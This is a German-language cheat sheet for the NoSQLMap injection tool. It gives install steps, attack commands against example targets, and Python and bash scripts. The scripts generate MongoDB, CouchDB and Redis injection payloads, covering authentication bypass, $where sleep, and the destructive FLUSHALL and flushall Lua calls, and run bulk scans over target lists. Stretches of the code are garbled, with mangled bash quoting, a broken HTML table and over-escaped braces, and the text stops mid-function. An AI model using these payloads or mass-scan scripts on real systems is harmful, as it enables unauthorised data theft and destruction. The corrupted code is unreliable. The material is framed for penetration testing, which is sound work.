NoSQLMap Cheat Sheet¶
Überblick¶
NoSQLMap ist ein umfassendes Open-Source-Python-Tool, das speziell für das Auditing und das Angreifen von NoSQL-Datenbanken entwickelt wurde und die wachsenden Sicherheitsbedenken in modernen Datenbankumgebungen anspricht, mit denen herkömmliche SQL-Injektionstools nicht umgehen können. NoSQLMap unterstützt mehrere NoSQL-Datenbanktypen wie MongoDB, CouchDB und verschiedene dokumentorientierte Datenbanken, die Penetrationsprüfer und Sicherheitsforscher mit spezialisierten Fähigkeiten zur Identifizierung und Ausnutzung von NoSQL-Injektionslücken bieten. Das Werkzeug ist für Organisationen, die NoSQL-Technologien einsetzen, wesentlich geworden, da für diese neueren Datenbankparadigmen herkömmliche Datenbanksicherheitstests unzureichend sind.
Die Kernkraft von NoSQLMap liegt in seiner Fähigkeit, verschiedene Arten von NoSQL Injektionsunfähigkeiten automatisch zu erkennen und auszunutzen, einschließlich Authentifizierungsbypass, Datenextraktion und blinden Injektionsangriffen. Im Gegensatz zu herkömmlichen SQL-Injektionstools, die auf SQL-Syntax basieren, versteht NoSQLMap die einzigartigen Abfragestrukturen und Datenformate, die von NoSQL-Datenbanken verwendet werden, wie z.B. JSON-basierte Abfragen in MongoDB oder Key-value-Operationen in Redis. Dieses spezialisierte Wissen ermöglicht es dem Werkzeug, gezielte Nutzlasten zu handhaben, die NoSQL-Anwendungen für Sicherheitsschwächen effektiv testen können, die sonst unentdeckt werden könnten.
Die Vielseitigkeit von NoSQLMap reicht über eine einfache Schwachstelle-Erkennung hinaus, um umfassende Datenbankaufzählungen, Datenextraktionsmöglichkeiten und erweiterte Verwertungstechniken einzubeziehen. Das Tool kann automatisch Datenbankschemas identifizieren, sensible Daten extrahieren und sogar Privileg Eskalationsangriffe ausführen, wenn Schwachstellen entdeckt werden. Seine modulare Architektur ermöglicht eine einfache Erweiterung, um neue NoSQL-Datenbanktypen und Angriffsvektoren zu unterstützen, wodurch es eine zukunftssichere Lösung für NoSQL-Sicherheitstests ist. Die Fähigkeit des Tools, mit bestehenden Penetrationstests zu integrieren und detaillierte Berichte zu erstellen, macht es für Sicherheitsexperten, die umfassende Datensicherheitsbewertungen durchführen, unschätzbar.
Installation¶
Python Installation¶
Installieren von NoSQLMap mit Python Paketmanager:
```bash
Install from PyPI¶
pip install nosqlmap
Alternative: Install from GitHub¶
pip install git+https://github.com/codingo/NoSQLMap.git
Install with development dependencies¶
pip install nosqlmap[dev]
Verify installation¶
nosqlmap --version nosqlmap --help
Install in virtual environment (recommended)¶
python3 -m venv nosqlmap-env source nosqlmap-env/bin/activate pip install nosqlmap ```_
Quelle Installation¶
Installieren von NoSQLMap aus Quellcode:
```bash
Clone repository¶
git clone https://github.com/codingo/NoSQLMap.git cd NoSQLMap
Install dependencies¶
pip install -r requirements.txt
Install in development mode¶
pip install -e .
Alternative: Run directly¶
python nosqlmap.py --help
Make executable¶
chmod +x nosqlmap.py sudo ln -s $(pwd)/nosqlmap.py /usr/local/bin/nosqlmap
Verify installation¶
nosqlmap --version ```_
Docker Installation¶
```bash
Create NoSQLMap Docker environment¶
cat > Dockerfile << 'EOF' FROM python:3.9-slim
RUN apt-get update && apt-get install -y \ git curl wget \ && rm -rf /var/lib/apt/lists/*
Install NoSQLMap¶
RUN pip install nosqlmap
Install additional tools¶
RUN pip install pymongo redis
WORKDIR /nosqlmap CMD ["nosqlmap", "--help"] EOF
Build container¶
docker build -t nosqlmap-security .
Run NoSQLMap¶
docker run -it nosqlmap-security nosqlmap --help
Run with volume mount for results¶
docker run -it -v $(pwd)/results:/results nosqlmap-security ```_
Dependancen Installation¶
```bash
Install required Python packages¶
pip install requests pip install pymongo pip install redis pip install urllib3 pip install colorama
Install optional dependencies¶
pip install python-nmap # For network scanning pip install dnspython # For DNS resolution pip install pycrypto # For encryption support
Install database drivers¶
pip install motor # Async MongoDB driver pip install aioredis # Async Redis driver pip install couchdb # CouchDB driver
Verify dependencies¶
python -c "import nosqlmap; print('NoSQLMap imported successfully')" ```_
Basisnutzung¶
Zielentdeckung¶
NoSQL Datenbankziele entdecken:
```bash
Basic target scanning¶
nosqlmap --target http://example.com/api/users
Scan with custom headers¶
nosqlmap --target http://example.com/api/users \ --headers "Authorization: Bearer token123"
Scan with cookies¶
nosqlmap --target http://example.com/api/users \ --cookies "session=abc123; auth=xyz789"
Scan with proxy¶
nosqlmap --target http://example.com/api/users \ --proxy http://127.0.0.1:8080
Scan with custom user agent¶
nosqlmap --target http://example.com/api/users \ --user-agent "Mozilla/5.0 Custom Scanner"
Multiple target scanning¶
nosqlmap --target-list targets.txt ```_
Basic Injection Testing¶
Durchführung grundlegender NoSQL Injektionstests:
```bash
Test for authentication bypass¶
nosqlmap --target http://example.com/login \ --attack auth-bypass \ --data "username=admin&password;=test"
Test for data extraction¶
nosqlmap --target http://example.com/api/users \ --attack extract \ --parameter id
Test for blind injection¶
nosqlmap --target http://example.com/api/search \ --attack blind \ --parameter query
Test specific parameter¶
nosqlmap --target http://example.com/api/users \ --parameter id \ --attack all
Test with POST data¶
nosqlmap --target http://example.com/api/login \ --method POST \ --data '\\{"username":"admin","password":"test"\\}' \ --content-type "application/json" ```_
Datenbankaufzählung¶
Enumerieren von NoSQL-Datenbankinformationen:
```bash
Enumerate database structure¶
nosqlmap --target http://example.com/api/users \ --attack enumerate \ --enumerate-all
Enumerate collections/tables¶
nosqlmap --target http://example.com/api/users \ --attack enumerate \ --enumerate-collections
Enumerate users and privileges¶
nosqlmap --target http://example.com/api/users \ --attack enumerate \ --enumerate-users
Enumerate database version¶
nosqlmap --target http://example.com/api/users \ --attack enumerate \ --enumerate-version
Custom enumeration queries¶
nosqlmap --target http://example.com/api/users \ --attack enumerate \ --custom-query "db.stats()" ```_
Erweiterte Funktionen¶
MongoDB-Specific Attacks¶
Spezialangriffe für Mongo Datenbanken:
```bash
MongoDB authentication bypass¶
nosqlmap --target http://example.com/login \ --attack mongodb-auth-bypass \ --data "username=admin&password;=test"
MongoDB injection with $where operator¶
nosqlmap --target http://example.com/api/search \ --attack mongodb-where \ --parameter query \ --payload "function()\\{return true;\\}"
MongoDB $regex injection¶
nosqlmap --target http://example.com/api/users \ --attack mongodb-regex \ --parameter name \ --payload ".*"
MongoDB $ne (not equal) injection¶
nosqlmap --target http://example.com/api/users \ --attack mongodb-ne \ --parameter status \ --payload "inactive"
MongoDB aggregation injection¶
nosqlmap --target http://example.com/api/analytics \ --attack mongodb-aggregation \ --parameter pipeline ```_
CouchDB-Specific Attacks¶
Spezialangriffe für Couch Datenbanken:
```bash
CouchDB view injection¶
nosqlmap --target http://example.com:5984/database/_design/app/_view/users \ --attack couchdb-view \ --parameter key
CouchDB map-reduce injection¶
nosqlmap --target http://example.com:5984/database/_temp_view \ --attack couchdb-mapreduce \ --data '\\{"map":"function(doc)\\{emit(doc._id,doc);\\}"\\}'
CouchDB admin privilege escalation¶
nosqlmap --target http://example.com:5984/_config \ --attack couchdb-admin \ --credentials admin:password
CouchDB database enumeration¶
nosqlmap --target http://example.com:5984/_all_dbs \ --attack couchdb-enum
CouchDB document extraction¶
nosqlmap --target http://example.com:5984/database/_all_docs \ --attack couchdb-extract \ --parameter include_docs=true ```_
Redis-Specific Angriffe¶
Spezialisierte Angriffe auf Redis Datenbanken:
```bash
Redis command injection¶
nosqlmap --target redis://example.com:6379 \ --attack redis-command \ --payload "FLUSHALL"
Redis Lua script injection¶
nosqlmap --target redis://example.com:6379 \ --attack redis-lua \ --payload "return redis.call('keys','*')"
Redis configuration extraction¶
nosqlmap --target redis://example.com:6379 \ --attack redis-config
Redis key enumeration¶
nosqlmap --target redis://example.com:6379 \ --attack redis-keys \ --pattern "password"
Redis data extraction¶
nosqlmap --target redis://example.com:6379 \ --attack redis-extract \ --key-pattern "user:*" ```_
Blinde Injektionstechniken¶
Advanced Blind Injektionstests:
```bash
Time-based blind injection¶
nosqlmap --target http://example.com/api/search \ --attack time-blind \ --parameter query \ --time-delay 5
Boolean-based blind injection¶
nosqlmap --target http://example.com/api/users \ --attack boolean-blind \ --parameter id \ --true-condition "user found" \ --false-condition "user not found"
Error-based blind injection¶
nosqlmap --target http://example.com/api/users \ --attack error-blind \ --parameter id \ --error-pattern "MongoError"
Content-length based blind injection¶
nosqlmap --target http://example.com/api/search \ --attack length-blind \ --parameter query \ --length-threshold 100
Custom blind injection¶
nosqlmap --target http://example.com/api/users \ --attack custom-blind \ --parameter id \ --custom-payload "\\{'$where':'this.username.length>5'\\}" ```_
Datenextraktion¶
Fortgeschrittene Methoden der Datenextraktion:
```bash
Extract all data from collection¶
nosqlmap --target http://example.com/api/users \ --attack extract-all \ --collection users \ --output-format json
Extract specific fields¶
nosqlmap --target http://example.com/api/users \ --attack extract-fields \ --fields "username,email,password" \ --collection users
Extract with conditions¶
nosqlmap --target http://example.com/api/users \ --attack extract-conditional \ --condition "role=admin" \ --collection users
Extract with pagination¶
nosqlmap --target http://example.com/api/users \ --attack extract-paginated \ --page-size 100 \ --max-pages 10
Extract binary data¶
nosqlmap --target http://example.com/api/files \ --attack extract-binary \ --field file_data \ --output-dir ./extracted_files ```_
Automatisierungsskripte¶
Umfassende NoSQL Bewertung¶
```python
!/usr/bin/env python3¶
Comprehensive NoSQL security assessment¶
import subprocess import json import time from datetime import datetime import requests from urllib.parse import urlparse
class NoSQLSecurityAssessment: def init(self, target_url, output_dir="nosql_assessment"): self.target_url = target_url self.output_dir = output_dir self.results = \\{\\} self.vulnerabilities = []
# Create output directory
import os
os.makedirs(output_dir, exist_ok=True)
def run_basic_tests(self):
"""Run basic NoSQL injection tests"""
print("Running basic NoSQL injection tests...")
basic_tests = [
\\\\{
"name": "Authentication Bypass",
"attack": "auth-bypass",
"description": "Test for authentication bypass vulnerabilities"
\\\\},
\\\\{
"name": "Data Extraction",
"attack": "extract",
"description": "Test for data extraction vulnerabilities"
\\\\},
\\\\{
"name": "Blind Injection",
"attack": "blind",
"description": "Test for blind injection vulnerabilities"
\\\\},
\\\\{
"name": "Enumeration",
"attack": "enumerate",
"description": "Test for information disclosure"
\\\\}
]
for test in basic_tests:
print(f"Running \\\\{test['name']\\\\} test...")
cmd = [
"nosqlmap",
"--target", self.target_url,
"--attack", test["attack"],
"--output-format", "json",
"--output-file", f"\\\\{self.output_dir\\\\}/\\\\{test['attack']\\\\}_results.json"
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
test_result = \\\\{
"test_name": test["name"],
"attack_type": test["attack"],
"command": " ".join(cmd),
"return_code": result.returncode,
"stdout": result.stdout,
"stderr": result.stderr,
"timestamp": datetime.now().isoformat()
\\\\}
if result.returncode == 0:
test_result["status"] = "completed"
# Parse results for vulnerabilities
self.parse_test_results(test["attack"], result.stdout)
else:
test_result["status"] = "failed"
self.results[test["attack"]] = test_result
except subprocess.TimeoutExpired:
print(f"Test \\\\{test['name']\\\\} timed out")
self.results[test["attack"]] = \\\\{
"test_name": test["name"],
"status": "timeout",
"timestamp": datetime.now().isoformat()
\\\\}
except Exception as e:
print(f"Error running test \\\\{test['name']\\\\}: \\\\{e\\\\}")
self.results[test["attack"]] = \\\\{
"test_name": test["name"],
"status": "error",
"error": str(e),
"timestamp": datetime.now().isoformat()
\\\\}
time.sleep(2) # Rate limiting
def run_database_specific_tests(self):
"""Run database-specific tests"""
print("Running database-specific tests...")
# Detect database type first
db_type = self.detect_database_type()
if db_type == "mongodb":
self.run_mongodb_tests()
elif db_type == "couchdb":
self.run_couchdb_tests()
elif db_type == "redis":
self.run_redis_tests()
else:
print("Database type not detected, running generic tests")
self.run_generic_tests()
def detect_database_type(self):
"""Detect NoSQL database type"""
print("Detecting database type...")
# Check for MongoDB indicators
mongodb_indicators = [
"/api/",
"ObjectId",
"mongodb://",
"27017"
]
# Check for CouchDB indicators
couchdb_indicators = [
"_design/",
"_view/",
"5984",
"couchdb"
]
# Check for Redis indicators
redis_indicators = [
"redis://",
"6379",
"REDIS"
]
try:
response = requests.get(self.target_url, timeout=10)
content = response.text.lower()
headers = response.headers
# Check headers and content for indicators
if any(indicator.lower() in content or indicator.lower() in str(headers) for indicator in mongodb_indicators):
return "mongodb"
elif any(indicator.lower() in content or indicator.lower() in str(headers) for indicator in couchdb_indicators):
return "couchdb"
elif any(indicator.lower() in content or indicator.lower() in str(headers) for indicator in redis_indicators):
return "redis"
except Exception as e:
print(f"Error detecting database type: \\\\{e\\\\}")
return "unknown"
def run_mongodb_tests(self):
"""Run MongoDB-specific tests"""
print("Running MongoDB-specific tests...")
mongodb_tests = [
"mongodb-auth-bypass",
"mongodb-where",
"mongodb-regex",
"mongodb-ne",
"mongodb-aggregation"
]
for test in mongodb_tests:
cmd = [
"nosqlmap",
"--target", self.target_url,
"--attack", test,
"--output-format", "json"
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=180)
self.results[f"mongodb_\\\\{test\\\\}"] = \\\\{
"attack_type": test,
"return_code": result.returncode,
"output": result.stdout,
"timestamp": datetime.now().isoformat()
\\\\}
if result.returncode == 0:
self.parse_test_results(test, result.stdout)
except Exception as e:
print(f"Error running MongoDB test \\\\{test\\\\}: \\\\{e\\\\}")
def run_couchdb_tests(self):
"""Run CouchDB-specific tests"""
print("Running CouchDB-specific tests...")
couchdb_tests = [
"couchdb-view",
"couchdb-mapreduce",
"couchdb-admin",
"couchdb-enum"
]
for test in couchdb_tests:
cmd = [
"nosqlmap",
"--target", self.target_url,
"--attack", test,
"--output-format", "json"
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=180)
self.results[f"couchdb_\\\\{test\\\\}"] = \\\\{
"attack_type": test,
"return_code": result.returncode,
"output": result.stdout,
"timestamp": datetime.now().isoformat()
\\\\}
if result.returncode == 0:
self.parse_test_results(test, result.stdout)
except Exception as e:
print(f"Error running CouchDB test \\\\{test\\\\}: \\\\{e\\\\}")
def run_redis_tests(self):
"""Run Redis-specific tests"""
print("Running Redis-specific tests...")
redis_tests = [
"redis-command",
"redis-lua",
"redis-config",
"redis-keys"
]
for test in redis_tests:
cmd = [
"nosqlmap",
"--target", self.target_url,
"--attack", test,
"--output-format", "json"
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=180)
self.results[f"redis_\\\\{test\\\\}"] = \\\\{
"attack_type": test,
"return_code": result.returncode,
"output": result.stdout,
"timestamp": datetime.now().isoformat()
\\\\}
if result.returncode == 0:
self.parse_test_results(test, result.stdout)
except Exception as e:
print(f"Error running Redis test \\\\{test\\\\}: \\\\{e\\\\}")
def parse_test_results(self, test_type, output):
"""Parse test results for vulnerabilities"""
# Look for vulnerability indicators in output
vulnerability_indicators = [
"VULNERABLE",
"INJECTION FOUND",
"BYPASS SUCCESSFUL",
"DATA EXTRACTED",
"AUTHENTICATION BYPASSED"
]
if any(indicator in output.upper() for indicator in vulnerability_indicators):
vulnerability = \\\\{
"test_type": test_type,
"severity": self.determine_severity(test_type),
"description": f"NoSQL injection vulnerability found in \\\\{test_type\\\\} test",
"evidence": output[:500], # First 500 chars as evidence
"timestamp": datetime.now().isoformat()
\\\\}
self.vulnerabilities.append(vulnerability)
def determine_severity(self, test_type):
"""Determine vulnerability severity based on test type"""
high_severity = ["auth-bypass", "extract", "mongodb-auth-bypass"]
medium_severity = ["blind", "enumerate", "mongodb-where"]
if test_type in high_severity:
return "HIGH"
elif test_type in medium_severity:
return "MEDIUM"
else:
return "LOW"
def generate_report(self):
"""Generate comprehensive assessment report"""
report = \\\\{
"assessment_info": \\\\{
"target": self.target_url,
"timestamp": datetime.now().isoformat(),
"total_tests": len(self.results),
"vulnerabilities_found": len(self.vulnerabilities)
\\\\},
"test_results": self.results,
"vulnerabilities": self.vulnerabilities,
"summary": \\\\{
"high_severity": len([v for v in self.vulnerabilities if v["severity"] == "HIGH"]),
"medium_severity": len([v for v in self.vulnerabilities if v["severity"] == "MEDIUM"]),
"low_severity": len([v for v in self.vulnerabilities if v["severity"] == "LOW"])
\\\\}
\\\\}
# Save JSON report
with open(f"\\\\{self.output_dir\\\\}/assessment_report.json", 'w') as f:
json.dump(report, f, indent=2)
# Generate HTML report
self.generate_html_report(report)
print(f"Assessment completed. Report saved to \\\\{self.output_dir\\\\}/")
print(f"Vulnerabilities found: \\\\{len(self.vulnerabilities)\\\\}")
return report
def generate_html_report(self, report):
"""Generate HTML assessment report"""
html_template = """
NoSQL Security Assessment Report
Target: \\\\{target\\\\}
Assessment Date: \\\\{timestamp\\\\}
Executive Summary
Total Tests Performed: \\\\{total_tests\\\\}
Vulnerabilities Found: \\\\{total_vulnerabilities\\\\}
- High Severity: \\\\{high_severity\\\\}
- Medium Severity: \\\\{medium_severity\\\\}
- Low Severity: \\\\{low_severity\\\\}
Vulnerabilities
\\\\{vulnerabilities_html\\\\}Test Results
\\\\{test_results_html\\\\} """
# Generate vulnerabilities HTML
vulnerabilities_html = ""
for vuln in report["vulnerabilities"]:
vulnerabilities_html += f"""
<div class="vulnerability \\\\{vuln['severity'].lower()\\\\}">
<h3>\\\\{vuln['test_type']\\\\} - \\\\{vuln['severity']\\\\} Severity</h3>
<p>\\\\{vuln['description']\\\\}</p>
<p><strong>Evidence:</strong> \\\\{vuln['evidence']\\\\}</p>
<p><strong>Timestamp:</strong> \\\\{vuln['timestamp']\\\\}</p>
</div>
"""
# Generate test results HTML
test_results_html = ""
for test_name, result in report["test_results"].items():
test_results_html += f"""
<div class="test-result">
<h3>\\\\{test_name\\\\}</h3>
<p>Status: \\\\{result.get('status', 'Unknown')\\\\}</p>
<p>Return Code: \\\\{result.get('return_code', 'N/A')\\\\}</p>
<p>Timestamp: \\\\{result.get('timestamp', 'N/A')\\\\}</p>
</div>
"""
html_content = html_template.format(
target=report["assessment_info"]["target"],
timestamp=report["assessment_info"]["timestamp"],
total_tests=report["assessment_info"]["total_tests"],
total_vulnerabilities=report["assessment_info"]["vulnerabilities_found"],
high_severity=report["summary"]["high_severity"],
medium_severity=report["summary"]["medium_severity"],
low_severity=report["summary"]["low_severity"],
vulnerabilities_html=vulnerabilities_html,
test_results_html=test_results_html
)
with open(f"\\\\{self.output_dir\\\\}/assessment_report.html", 'w') as f:
f.write(html_content)
Usage¶
if name == "main": target_url = "http://example.com/api/users"
assessment = NoSQLSecurityAssessment(target_url)
# Run comprehensive assessment
assessment.run_basic_tests()
assessment.run_database_specific_tests()
# Generate report
report = assessment.generate_report()
```_
Automatische Payload-Generation¶
```python
!/usr/bin/env python3¶
NoSQL injection payload generator¶
import json import base64 import urllib.parse
class NoSQLPayloadGenerator: def init(self): self.payloads = \\{ "mongodb": [], "couchdb": [], "redis": [], "generic": [] \\} self.generate_all_payloads()
def generate_mongodb_payloads(self):
"""Generate MongoDB-specific payloads"""
# Authentication bypass payloads
auth_bypass = [
\\\\{"username": \\\\{"$ne": ""\\\\}, "password": \\\\{"$ne": ""\\\\}\\\\},
\\\\{"username": \\\\{"$regex": ".*"\\\\}, "password": \\\\{"$regex": ".*"\\\\}\\\\},
\\\\{"username": \\\\{"$exists": True\\\\}, "password": \\\\{"$exists": True\\\\}\\\\},
\\\\{"username": \\\\{"$gt": ""\\\\}, "password": \\\\{"$gt": ""\\\\}\\\\},
\\\\{"$or": [\\\\{"username": "admin"\\\\}, \\\\{"username": \\\\{"$ne": ""\\\\}\\\\}]\\\\},
\\\\{"username": \\\\{"$in": ["admin", "administrator", "root"]\\\\}\\\\}
]
# Data extraction payloads
data_extraction = [
\\\\{"$where": "return true"\\\\},
\\\\{"$where": "function()\\\\{return this.username.length > 0\\\\}"\\\\},
\\\\{"$where": "function()\\\\{return JSON.stringify(this)\\\\}"\\\\},
\\\\{"username": \\\\{"$regex": "^a.*"\\\\}\\\\},
\\\\{"password": \\\\{"$regex": ".*"\\\\}\\\\},
\\\\{"$expr": \\\\{"$gt": [\\\\{"$strLenCP": "$password"\\\\}, 0]\\\\}\\\\}
]
# Blind injection payloads
blind_injection = [
\\\\{"$where": "sleep(5000)"\\\\},
\\\\{"$where": "function()\\\\{if(this.username=='admin')sleep(5000)\\\\}"\\\\},
\\\\{"username": \\\\{"$regex": "^admin.*"\\\\}, "$where": "sleep(1000)"\\\\},
\\\\{"$expr": \\\\{"$cond": [\\\\{"$eq": ["$username", "admin"]\\\\}, \\\\{"$literal": True\\\\}, \\\\{"$literal": False\\\\}]\\\\}\\\\}
]
self.payloads["mongodb"] = \\\\{
"auth_bypass": auth_bypass,
"data_extraction": data_extraction,
"blind_injection": blind_injection
\\\\}
def generate_couchdb_payloads(self):
"""Generate CouchDB-specific payloads"""
# View injection payloads
view_injection = [
\\\\{"key": ["admin", \\\\{"$gt": null\\\\}]\\\\},
\\\\{"startkey": "admin", "endkey": "admin\ufff0"\\\\},
\\\\{"key": \\\\{"$regex": ".*admin.*"\\\\}\\\\},
\\\\{"include_docs": True, "key": \\\\{"$ne": null\\\\}\\\\}
]
# Map-reduce injection payloads
mapreduce_injection = [
\\\\{
"map": "function(doc)\\\\{if(doc.username=='admin')emit(doc._id,doc);\\\\}"
\\\\},
\\\\{
"map": "function(doc)\\\\{emit(doc._id,doc);\\\\}",
"reduce": "function(keys,values)\\\\{return values;\\\\}"
\\\\}
]
self.payloads["couchdb"] = \\\\{
"view_injection": view_injection,
"mapreduce_injection": mapreduce_injection
\\\\}
def generate_redis_payloads(self):
"""Generate Redis-specific payloads"""
# Command injection payloads
command_injection = [
"FLUSHALL",
"CONFIG GET *",
"INFO",
"KEYS *",
"EVAL \"return redis.call('keys','*')\" 0",
"SCRIPT LOAD \"return redis.call('flushall')\""
]
# Lua script injection payloads
lua_injection = [
"return redis.call('keys','*')",
"return redis.call('config','get','*')",
"return redis.call('info')",
"for i=1,1000000 do end; return 'done'"
]
self.payloads["redis"] = \\\\{
"command_injection": command_injection,
"lua_injection": lua_injection
\\\\}
def generate_generic_payloads(self):
"""Generate generic NoSQL payloads"""
# Generic injection patterns
generic_patterns = [
"'; return true; //",
"\"; return true; //",
| | "' | | '1''1", | | | | "\" | | \"1\"\"1\"", | | "'; return this; //", "\"; return this; //", "true, true", "false, true", "1, 1", "0, 1" ]
# JSON injection payloads
json_injection = [
\\\\{"$ne": ""\\\\},
\\\\{"$gt": ""\\\\},
\\\\{"$regex": ".*"\\\\},
\\\\{"$exists": True\\\\},
\\\\{"$in": ["admin", "user", "guest"]\\\\},
\\\\{"$or": [\\\\{"username": "admin"\\\\}, \\\\{"password": \\\\{"$ne": ""\\\\}\\\\}]\\\\}
]
self.payloads["generic"] = \\\\{
"patterns": generic_patterns,
"json_injection": json_injection
\\\\}
def generate_all_payloads(self):
"""Generate all payload types"""
self.generate_mongodb_payloads()
self.generate_couchdb_payloads()
self.generate_redis_payloads()
self.generate_generic_payloads()
def encode_payload(self, payload, encoding_type="url"):
"""Encode payload for different contexts"""
if isinstance(payload, dict):
payload_str = json.dumps(payload)
else:
payload_str = str(payload)
if encoding_type == "url":
return urllib.parse.quote(payload_str)
elif encoding_type == "base64":
return base64.b64encode(payload_str.encode()).decode()
elif encoding_type == "double_url":
return urllib.parse.quote(urllib.parse.quote(payload_str))
else:
return payload_str
def generate_test_cases(self, target_db="mongodb", encoding="url"):
"""Generate test cases for specific database"""
test_cases = []
if target_db in self.payloads:
for category, payloads in self.payloads[target_db].items():
for payload in payloads:
test_case = \\\\{
"database": target_db,
"category": category,
"payload": payload,
"encoded_payload": self.encode_payload(payload, encoding),
"description": f"\\\\{target_db\\\\} \\\\{category\\\\} payload"
\\\\}
test_cases.append(test_case)
return test_cases
def export_payloads(self, output_file="nosql_payloads.json"):
"""Export all payloads to file"""
with open(output_file, 'w') as f:
json.dump(self.payloads, f, indent=2)
print(f"Payloads exported to \\\\{output_file\\\\}")
def generate_wordlist(self, target_db="all", output_file="nosql_wordlist.txt"):
"""Generate wordlist for fuzzing"""
wordlist = []
if target_db == "all":
databases = self.payloads.keys()
else:
databases = [target_db] if target_db in self.payloads else []
for db in databases:
for category, payloads in self.payloads[db].items():
for payload in payloads:
if isinstance(payload, dict):
wordlist.append(json.dumps(payload))
else:
wordlist.append(str(payload))
with open(output_file, 'w') as f:
for item in wordlist:
f.write(item + '\n')
print(f"Wordlist generated: \\\\{output_file\\\\}")
return wordlist
Usage¶
if name == "main": generator = NoSQLPayloadGenerator()
# Generate test cases for MongoDB
mongodb_tests = generator.generate_test_cases("mongodb", "url")
print(f"Generated \\\\{len(mongodb_tests)\\\\} MongoDB test cases")
# Export all payloads
generator.export_payloads()
# Generate wordlist
generator.generate_wordlist()
```_
Massenzielprüfung¶
```bash
!/bin/bash¶
Bulk NoSQL target testing script¶
TARGET_FILE="\(1" OUTPUT_DIR="bulk_nosql_results_\)(date +%Y%m%d_%H%M%S)"
if [ -z "$TARGET_FILE" ]; then
echo "Usage: $0
if [ ! -f "$TARGET_FILE" ]; then echo "Error: Target file not found: $TARGET_FILE" exit 1 fi
echo "Starting bulk NoSQL testing..." echo "Target file: $TARGET_FILE" echo "Output directory: $OUTPUT_DIR"
Create output directory¶
mkdir -p "$OUTPUT_DIR"
Initialize summary¶
echo "Target,Status,Vulnerabilities,Test_Time" > "$OUTPUT_DIR/summary.csv"
Process each target¶
while IFS= read -r target; do # Skip empty lines and comments | | if [[ -z "\(target" | | "\)target" =~ ^# ]]; then | | continue fi
echo "Testing target: $target"
# Create target-specific directory
| | target_dir="\(OUTPUT_DIR/\)(echo "\(target" | sed 's | [^a-zA-Z0-9] | _ | g')" | | mkdir -p "\)target_dir"
start_time=$(date +%s)
# Run basic tests
echo "Running basic NoSQL injection tests..."
# Authentication bypass test
nosqlmap --target "$target" \
--attack auth-bypass \
--output-format json \
--output-file "$target_dir/auth_bypass.json" \
--timeout 60 > "$target_dir/auth_bypass.log" 2>&1
# Data extraction test
nosqlmap --target "$target" \
--attack extract \
--output-format json \
--output-file "$target_dir/data_extract.json" \
--timeout 60 > "$target_dir/data_extract.log" 2>&1
# Blind injection test
nosqlmap --target "$target" \
--attack blind \
--output-format json \
--output-file "$target_dir/blind_injection.json" \
--timeout 60 > "$target_dir/blind_injection.log" 2>&1
# Enumeration test
nosqlmap --target "$target" \
--attack enumerate \
--output-format json \
--output-file "$target_dir/enumeration.json" \
--timeout 60 > "$target_dir/enumeration.log" 2>&1
end_time=$(date +%s)
test_duration=$((end_time - start_time))
# Analyze results
vulnerability_count=0
status="TESTED"
# Check for vulnerabilities in output files
for result_file in "$target_dir"/*.json; do
if [ -f "$result_file" ]; then
| | if grep -q "VULNERABLE | INJECTION | BYPASS" "\(result_file" 2>/dev/null; then | | vulnerability_count=\)((vulnerability_count + 1)) status="VULNERABLE" fi fi done
# Check for errors
| | if grep -q "ERROR | TIMEOUT | FAILED" "\(target_dir"/*.log 2>/dev/null; then | | if [ "\)status" != "VULNERABLE" ]; then status="ERROR" fi fi
# Update summary
echo "$target,$status,$vulnerability_count,$\\\\{test_duration\\\\}s" >> "$OUTPUT_DIR/summary.csv"
echo "Completed testing $target ($\\\\{test_duration\\\\}s, $vulnerability_count vulnerabilities)"
# Rate limiting
sleep 5
done < "$TARGET_FILE"
Generate final report¶
echo "Generating final report..."
cat > "$OUTPUT_DIR/bulk_test_report.html" << EOF
Bulk NoSQL Testing Report
Generated: $(date)
Total targets tested: $(wc -l < "$TARGET_FILE")
Summary
Target | Status | Vulnerabilities | Test Duration |
---|---|---|---|
$target | " >> "$OUTPUT_DIR/bulk_test_report.html" echo "$status | " >> "$OUTPUT_DIR/bulk_test_report.html" echo "$vulns | " >> "$OUTPUT_DIR/bulk_test_report.html" echo "$duration | " >> "$OUTPUT_DIR/bulk_test_report.html" echo "
EOF
echo "Bulk testing completed!" echo "Results saved in: $OUTPUT_DIR" echo "Summary report: $OUTPUT_DIR/bulk_test_report.html"
Print summary statistics¶
echo "" echo "Summary Statistics:" echo "===================" total_targets=\((tail -n +2 "\)OUTPUT_DIR/summary.csv"|wc -l) vulnerable_targets=\((tail -n +2 "\)OUTPUT_DIR/summary.csv"|grep -c "VULNERABLE") error_targets=\((tail -n +2 "\)OUTPUT_DIR/summary.csv"|grep -c "ERROR") tested_targets=\((tail -n +2 "\)OUTPUT_DIR/summary.csv"|grep -c "TESTED")
echo "Total targets: $total_targets" echo "Vulnerable targets: $vulnerable_targets" echo "Error targets: $error_targets" echo "Successfully tested: $tested_targets"
if [ "\(total_targets" -gt 0 ]; then vulnerability_rate=\)((vulnerable_targets * 100 / total_targets)) echo "Vulnerability rate: $vulnerability_rate%" fi ```_
Integrationsbeispiele¶
Integration von Burp Suite¶
```python
!/usr/bin/env python3¶
NoSQLMap integration with Burp Suite¶
import requests import json import base64 from urllib.parse import urlparse, parse_qs
class BurpNoSQLIntegration: def init(self, burp_proxy="http://127.0.0.1:8080"): self.burp_proxy = burp_proxy self.session = requests.Session() self.session.proxies = \\{"http": burp_proxy, "https": burp_proxy\\} self.session.verify = False # Disable SSL verification for Burp
def import_burp_request(self, burp_request_file):
"""Import request from Burp Suite"""
with open(burp_request_file, 'r') as f:
request_data = f.read()
# Parse Burp request format
lines = request_data.split('\n')
# Extract method, URL, and headers
request_line = lines[0]
method, path, protocol = request_line.split(' ')
headers = \\\\{\\\\}
body = ""
body_start = False
for line in lines[1:]:
if line.strip() == "":
body_start = True
continue
if body_start:
body += line + '\n'
else:
if ':' in line:
key, value = line.split(':', 1)
headers[key.strip()] = value.strip()
# Extract host from headers
host = headers.get('Host', '')
# Construct full URL
scheme = "https" if "443" in host else "http"
url = f"\\\\{scheme\\\\}://\\\\{host\\\\}\\\\{path\\\\}"
return \\\\{
"method": method,
"url": url,
"headers": headers,
"body": body.strip()
\\\\}
def test_nosql_injection(self, request_data):
"""Test for NoSQL injection in Burp request"""
results = []
# Test URL parameters
parsed_url = urlparse(request_data["url"])
if parsed_url.query:
params = parse_qs(parsed_url.query)
